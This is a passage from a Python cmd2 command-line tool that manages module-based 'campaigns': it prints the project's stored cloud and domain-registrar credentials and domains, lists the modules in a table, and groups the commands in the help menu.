c in self.campaign: self.info_table(c) else: for c in self.campaign: if arg.id == c["id"]: self.info_table(c) else: #Prints the general variables and the table with the module IDs print(f"Project ID: {self.project_id}") if 'dotoken' in self.variables.keys(): print(f"Digital Ocean Key: {self.variables['dotoken']}") if 'aws_access_key' in self.variables.keys(): print(f"AWS Access Key: {self.variables['aws_access_key']}") if 'aws_secret_key' in self.variables.keys(): print(f"AWS Secret Key: {self.variables['aws_secret_key']}") if 'godaddy_access_key' in self.variables.keys(): print( f"Godaddy Access Key: {self.variables['godaddy_access_key']}" ) if 'godaddy_secret_key' in self.variables.keys(): print( f"Godaddy Secret Key: {self.variables['godaddy_secret_key']}" ) print(f"Domains: {', '.join(self.variables['domains'])}") x = PrettyTable() x.title = 'Campaign' x.field_names = ["#", "MODULE", "ID"] for idx, i in enumerate(self.campaign): if 'type' in i: x.add_row( [idx + 1, i["module"] + "/" + i["type"], i["id"]]) else: x.add_row([idx + 1, i["module"], i["id"]]) x.align["DESCRITPION"] = "l" print(x) # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' CMD_CAT_PROJECT = 'Project (type help <command>)' #Help Menu cmd2.categorize((do_create, do_new, do_save, do_deploy, do_delete, do_load, do_rename, do_clone), CMD_CAT_PROJECT) cmd2.categorize((do_usemodule, do_editmodule, do_delmodule), CMD_CAT_MODULE) cmd2.categorize((do_set, do_info), CMD_CAT_GENERAL)